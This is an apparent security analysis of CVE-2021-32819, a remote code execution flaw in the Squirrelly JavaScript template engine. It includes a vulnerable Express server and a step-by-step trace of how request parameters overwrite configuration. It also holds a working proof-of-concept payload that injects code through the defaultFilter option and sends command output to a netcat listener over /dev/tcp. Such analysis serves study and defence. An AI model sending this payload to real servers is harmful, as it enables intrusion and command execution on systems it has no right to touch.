Diefunction
Search…
GHSL-2021-023 / CVE-2021-32819
An analysis for GHSL-2021-023 / CVE-2021-32819 vulnerability.

INTRODUCTION

SQUIRRELLY

Squirrelly [1] is a template engine written in JavaScript.

DOWNLOAD STATISTICS

According to NPM-STAT [2], the total number of downloads between 2020-05-16 and 2021-06-11: 317,730

ISSUE

EXPRESS RENDER API

The Express render API [3] was designed to only pass in template data. By allowing template engine configuration options to be passed through the Express render API directly, downstream users of an Express template engine may inadvertently introduce insecure behavior into their applications with impacts ranging from Cross-Site Scripting (XSS) to Remote Code Execution (RCE).

SQUIRRELLY

SquirrellyJS mixes pure template data with engine configuration options through the Express render API. By overwriting internal configuration options, remote code execution may be triggered in downstream applications. [4]
IMPACT
This vulnerability leads to remote code execution (RCE). [4]
VULNERABLE VERSIONS
SquirrellyJS is vulnerable from version v8.0.0 to v8.0.8.

PATCH

No available fix for SquirrellyJS currently. [4]
    01/25/2021: Report sent to maintainers by GHSL
    04/25/2021: Deadline expired
    05/14/2021: Publication as per our disclosure policy [5]

REPRODUCIBILITY

ENVIRONMENT SETUP

Install NodeJS run-time environment, Node Package Manager (NPM), ExpressJS, and SquirellyJS.
1
sudo apt update
2
sudo apt install nodejs npm
3
mkdir GHSL-2021-023 && cd GHSL-2021-023
4
npm install express
5
npm install squirrelly
Copied!
GHSL-2021-023/app.js - vulnerable server code.
1
const express = require('express')
2
const app = express()
3
const port = 3000
4
5
app.set('views', __dirname);
6
app.set('view engine', 'squirrelly')
7
app.use(express.urlencoded({ extended: false }));
8
app.get('/', (req, res) => {
9
res.render('index.squirrelly', req.query)
10
})
11
12
app.listen(port, () => {})
13
module.exports = app;
Copied!
GHSL-2021-023/index.squirrelly - template.
1
<!DOCTYPE html>
2
<html>
3
<head>
4
<title>GHSL-2021-023</title>
5
</head>
6
<body>
7
<h1>{{it.variable}}</h1>
8
</body>
9
</html>
Copied!
Start the vulnerable application server.
1
node app.js
Copied!

PROOF OF CONCEPT

Start a Netcat listener on port 443.
1
nc -lnvp 443
Copied!
Send the crafted payload via curl.
1
curl -G \
2
--data-urlencode "defaultFilter=e')); let require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('/bin/bash -c \'/bin/id > /dev/tcp/127.0.0.1/443\''); //" \
3
http://localhost:3000/
Copied!
When the payload is triggered via curl, the vulnerable server executes our malicious code. The code executes /bin/id command on the server and sends the output to the Netcat listener. The output is on the top of the TMUX window.
Proof of concept

ANALYSIS

Send a request to start the analysis.
1
curl -G \
2
--data-urlencode "variable=HelloWorld" \
3
http://localhost:3000/
Copied!
The ExpressJS calls renderFile function from the SquirrellyJS engine after the request has been made (view.js line 135).
1
View.prototype.render = function render(options, callback) {
2
debug('render "%s"', this.path);
3
this.engine(this.path, options, callback);
4
};
Copied!
this.engine variable is the renderFile function.

renderFile(filename, data, cb)

1
function renderFile(filename, data, cb) {
2
data = data || {};
3
var Config = getConfig(data);
4
...
5
return tryHandleCache(Config, data, cb);
6
}
Copied!

Parameters

    filename is the template path.
1
"GHSL-2021-023/index.squirrelly"
Copied!
    data is the template data that contains the request query.
1
{
2
settings: {
3
...,
4
},
5
variable: "HelloWorld",
6
_locals: {},
7
cache: false,
8
}
Copied!
    cb is a callback function that is defined in another scope.
renderFile function calls getConfig function (line 3).

getConfig(override, baseConfig)

1
function getConfig (override: PartialConfig, baseConfig?: SqrlConfig): SqrlConfig {
2
3
var res: PartialConfig = {}
4
copyProps(res, defaultConfig)
5
6
if (baseConfig) {
7
copyProps(res, baseConfig)
8
}
9
10
if (override) {
11
copyProps(res, override)
12
}
13
14
;(res as SqrlConfig).l.bind(res)
15
16
return res as SqrlConfig
17
}
Copied!
override parameter is the template data that contains the request query.
1
{
2
settings: {
3
...,
4
},
5
variable: "HelloWorld",
6
_locals: {},
7
cache: false,
8
}
Copied!
baseConfig parameter is undefined.
getConfig function defines res variable as an empty object (line 3), then copies global defaultConfig properties to res properties (line 4), after that skips baseConfig condition because it's undefined (line 6) then copies override properties to res properties (line 11), finally returns res variable (line 16) to Config variable in renderFile function scope (line 3).
Config variable is:
1
{
2
varName: 'it',
3
...,
4
autoEscape: true,
5
defaultFilter: false,
6
...,
7
settings: {...},
8
variable: 'HelloWorld',
9
...
10
}
Copied!
Notice
Since request queries are copied to Config object, which is the set of compilation options, that means the sender can overwrite Config properties values.
After getConfig function returns res variable to Config variable, renderFile function calls tryHandleCache function (line 5).

tryHandleCache(options, data, cb)

1
/**
2
* Try calling handleCache with the given options and data and call the
3
* callback with the result. If an error occurs, call the callback with
4
* the error. Used by renderFile().
5
*
6
* @param {Options} options compilation options
7
* @param {Object} data template data
8
* @param {RenderFileCallback} cb callback
9
* @static
10
*/
11
12
function tryHandleCache (options: FileOptions, data: object, cb: CallbackFn) {
13
var result
14
if (!cb) {
15
...
16
} else {
17
try {
18
handleCache(options)(data, options, cb)
19
} catch (err) {
20
return cb(err)
21
}
22
}
23
}
Copied!

Parameters

    options is the set of compilation options.
1
{
2
varName: "it",
3
...,
4
autoEscape: true,
5
defaultFilter: false,
6
tags: ["{{", "}}"],
7
...,
8
variable: "HelloWorld",
9
_locals: {},
10
...
11
}
Copied!
    data is the template data that contains the request query.
1
{
2
settings: { ... },
3
variable: "HelloWorld",
4
_locals: {},
5
cache: false,
6
}
Copied!
    cb is a callback function that is defined in another scope.
tryHandleCache function skips the condition (line 14) because the cb variable is defined as a callback function. tryHandleCache function calls handleCache function (line 18).

handleCache(options)

1
/**
2
* Get the template from a string or a file, either compiled on-the-fly or
3
* read from cache (if enabled), and cache the template if needed.
4
*
5
* If `options.cache` is true, this function reads the file from
6
* `options.filename` so it must be set prior to calling this function.
7
*
8
* @param {Options} options compilation options
9
* @param {String} [template] template source
10
* @return {(TemplateFunction|ClientFunction)}
11
* Depending on the value of `options.client`, either type might be returned.
12
* @static
13
*/
14
15
function handleCache (options: FileOptions): TemplateFunction {
16
var filename = options.filename
17
...
18
return compile(readFile(filename), options)
19
}
Copied!
options parameter is the set of compilation options.
1
{
2
varName: "it",
3
autoTrim: [
4
false,
5
"nl",
6
],
7
autoEscape: true,
8
defaultFilter: false,
9
...,
10
variable: "HelloWorld",
11
_locals: {
12
},
13
...
14
}
Copied!
handleCache function gets the template (index.squirrelly) content from a file, then handleCache function calls compile function (line 18).

compile(str, env)

1
export default function compile (str: string, env?: PartialConfig): TemplateFunction {
2
var options: SqrlConfig = getConfig(env || {})
3
var ctor = Function // constructor
4
5
...
6
7
try {
8
return new ctor(
9
options.varName,
10
'c', // SqrlConfig
11
'cb', // optional callback
12
compileToString(str, options)
13
) as TemplateFunction // eslint-disable-line no-new-func
14
} catch (e) {
15
if (e instanceof SyntaxError) {
16
throw SqrlErr(
17
'Bad template syntax\n\n' +
18
e.message +
19
'\n' +
20
Array(e.message.length + 1).join('=') +
21
'\n' +
22
compileToString(str, options)
23
)
24
} else {
25
throw e
26
}
27
}
28
}
Copied!
Parameters
    str is the content of the template (index.squirrelly)
1
"<!DOCTYPE html>\n<html>\n <head>\n <title>GHSL-2021-023</title>\n </head>\n<body>\n <h1>{{it.variable}}</h1>\n</body>\n</html>"
Copied!
    env is the set of compilation options.
1
{
2
varName: "it",
3
autoTrim: [
4
false,
5
"nl",
6
],
7
autoEscape: true,
8
defaultFilter: false,
9
...,
10
variable: "HelloWorld",
11
_locals: {
12
},
13
...
14
}
Copied!
compile function defines options as env (line 2). then creates an alias of Function constructor called ctor at (line 3). finally returns a new ctor (Function) (line 8) to (line 13).
ctor parameters
options.varName is:
1
"it"
Copied!
it is the template data that contains the request query.
c is the set of compilation options.
cb is a callback function defined in another scope.
compileToString function returns the ctor Function body (line 22).

compileToString(str, env)

1
export default function compileToString (str: string, env: SqrlConfig) {
2
var buffer: Array<AstObject> = Parse(str, env)
3
var res =
4
"var tR='';" +
5
(env.useWith ? 'with(' + env.varName + '||{}){' : '') +
6
compileScope(buffer, env) +
7
'if(cb){cb(null,tR)} return tR' +
8
(env.useWith ? '}' : '');
9
...
10
return res
11
}
Copied!
Parameters
    str is the content of the template file (index.squirrelly).
1
"<!DOCTYPE html>\n<html>\n <head>\n <title>GHSL-2021-023</title>\n </head>\n<body>\n <h1>{{it.variable}}</h1>\n</body>\n</html>"
Copied!
    env is the set of compilation options.
1
{
2
varName: "it",
3
autoTrim: [
4
false,
5
"nl"],
6
autoEscape: true,
7
defaultFilter: false,
8
...,
9
variable: "HelloWorld",
10
_locals: {},
11
...
12
}
Copied!
compileToString function defines buffer and calls parse function (line 2) to prase the template content and its variables
1
[
2
"<!DOCTYPE html>\\n<html>\\n <head>\\n <title>GHSL-2021-023</title>\\n </head>\\n<body>\\n <h1>",
3
{
4
f: [
5
],
6
c: "it.variable",
7
t: "i",
8
},
9
"</h1>\\n</body>\\n</html>",
10
]
Copied!
compileToString function defines res variable for the ctor function body (line 3)
1
var res =
2
"var tR='';" +
3
(env.useWith ? 'with(' + env.varName + '||{}){' : '') +
4
compileScope(buffer, env) +
5
'if(cb){cb(null,tR)} return tR' +
6
(env.useWith ? '}' : '');
Copied!
useWith is false
1
var res = "var tR='';" + compileScope(buffer, env) + 'if(cb){cb(null,tR)} return tR'
Copied!
compileToString function calls compileScope function to append its return value to res variable.

compileScope(buff, env)

1
export function compileScope (buff: Array<AstObject>, env: SqrlConfig) {
2
var i = 0
3
var buffLength = buff.length
4
var returnStr = ''
5
6
for (i; i < buffLength; i++) {
7
var currentBlock = buff[i]
8
if (typeof currentBlock === 'string') {
9
var str = currentBlock
10
returnStr += "tR+='" + str + "';"
11
} else {
12
var type: ParsedTagType = currentBlock.t as ParsedTagType // h, s, e, i
13
var content = currentBlock.c || ''
14
var filters = currentBlock.f
15
var name = currentBlock.n || ''
16
var params = currentBlock.p || ''
17
var res = currentBlock.res || ''
18
var blocks = currentBlock.b
19
var isAsync = !!currentBlock.a
20
if (type === 'i') {
21
if (env.defaultFilter) {
22
content = "c.l('F','" + env.defaultFilter + "')(" + content + ')'
23
}
24
var filtered = filter(content, filters)
25
if (!currentBlock.raw && env.autoEscape) {
26
filtered = "c.l('F','e')(" + filtered + ')'
27
}
28
returnStr += 'tR+=' + filtered + ';'
29
} else if (type === 'h') {
30
...
31
} else if (type === 's') {
32
...
33
} else if (type === 'e') {
34
...
35
}
36
}
37
}
38
39
return returnStr
40
}
Copied!
Parameters
    buff is an array that contains a parsed template content.
1
[
2
"<!DOCTYPE html>\\n<html>\\n <head>\\n <title>GHSL-2021-023</title>\\n </head>\\n<body>\\n <h1>",
3
{
4
f: [],
5
c: "it.variable",
6
t: "i",
7
},
8
"</h1>\\n</body>\\n</html>",
9
]
Copied!
    env is the set of compilation options.
1
{
2
varName: "it",
3
autoTrim: [false, "nl"],
4
autoEscape: true,
5
defaultFilter: false,
6
...,
7
variable: "HelloWorld",
8
_locals: { },
9
...
10
}
Copied!
The for loop iterates through all elements in the buff array (line 6). If the element is a string (line 8), it adds the string to returnStr variable. If it's not a string, it executes the else block (line 11).
The first and the last element is a strings buff[0], buff[2], where buff[1] is an object
1
{
2
f: [],
3
c: "it.variable",
4
t: "i",
5
}
Copied!
The type variable is currentBlock.t (line 12) where t is equal to "i" (line 20).
compileScope function checks if env.defaultFilter is defined or true (line 21).
In case env.defaultFilter is defined or true, the env.defaultFilter value is going to be appended to the content variable where the content variable is going to be presented in the function body, but for now, the env.defaultFilter is false. After that, the filter function returns the content to the filtered variable (line 17).
if the condition (line 25) is true
1
!currentBlock.raw is true
2
autoEscape is true
Copied!
More code is appended to filtered (line 26).
compileScope function returns returnStr (line 39), which is a part of the function body
1
tR+='<!DOCTYPE html>\\n<html>\\n <head>\\n <title>GHSL-2021-023</title>\\n </head>\\n<body>\\n <h1>';
2
tR+=c.l('F','e')(it.variable);
3
tR+='</h1>\\n</body>\\n</html>';
Copied!
res variable in compileToString function scope is
1
var res = "var tR='';" + "tR+='<!DOCTYPE html>\\n<html>\\n <head>\\n <title>GHSL-2021-023</title>\\n </head>\\n<body>\\n <h1>';tR+=c.l('F','e')(it.variable);tR+='</h1>\\n</body>\\n</html>';" + 'if(cb){cb(null,tR)} return tR'
Copied!
The anonymous function that is going to be executed
1
(function anonymous(it,c,cb
2
) {
3
var tR='';
4
tR+='<!DOCTYPE html>\n<html>\n <head>\n <title>GHSL-2021-023</title>\n </head>\n<body>\n <h1>';
5
tR+=c.l('F','e')(it.variable);
6
tR+='</h1>\n</body>\n</html>';
7
if(cb){cb(null,tR)}
8
return tR
9
})
Copied!

THE VULNERABILITY

From the analysis, the attacker can control defaultFilter property in the defaultConfig by the request query. The getConfig function overwrites the defaultConfig properties with the override properties where the attacker input is represented.
The GHSL-2021-023 report, authored by Agustin Gianni, exploited the vulnerability using both defaultFilter and autoEscape, but our exploit uses defaultFilter only. There's no need to change or modify the autoEscape property to gain Remote Code Execution.

EXPLOITING THE VULNERABILITY

In order to exploit the vulnerability, you need to meet these conditions:
    1.
    The condition (line 21) in compileScope function must be true to append the defaultFilter to the content.
    2.
    The appended code syntax must be correct to get code execution.
1
curl -G \
2
--data-urlencode "defaultFilter=e')); console.log('Remote Code Execution') //" \
3
http://localhost:3000/
Copied!
The defaultFilter should be e')); console.log('Remote Code Execution') // to gain code execution.

Walkthrough

For the first condition is true only if the defaultFilter is not false or not undefined
The function body
1
tR+=c.l('F','e')(c.l('F','<defaultFilter>') ...)
Copied!
The code injection starts at the second parameter (name) of the l function
l(container, name) definition (config.ts line 62)
name parameter is the filter name
1. defaultFilter=e
Filters are defined in (container.ts line 173); There's only one filter e which the payload must starts with.
1
tR+=c.l('F','e')(c.l('F','e') ...)
Copied!
2. defaultFilter=e'));
Add a single quote, close the function, close the expression, add a semi-colon to fix the syntax to add a code.
1
tR+=c.l('F','e')(c.l('F','e'));') ...)
Copied!
3. defaultFilter=e')); console.log('Remote Code Execution')
Add the code that you need to be executed, for example, output a string to the server console.
1
tR+=c.l('F','e')(c.l('F','e')); console.log('Remote Code Execution')') ...)
Copied!
4. defaultFilter=e')); console.log('Remote Code Execution') //
Add a single-line comment to remove the next portion that comes after your injected code.
1
tR+=c.l('F','e')(c.l('F','e')); console.log('Remote Code Execution') //') ...)
Copied!
GitHub - Abady0x1/CVE-2021-32819: SquirrellyJS mixes pure template data with engine configuration options through the Express render API. By overwriting internal configuration options, remote code execution may be triggered in downstream applications.
GitHub
CVE-2021-32819

REFERENCES

Last modified 4mo ago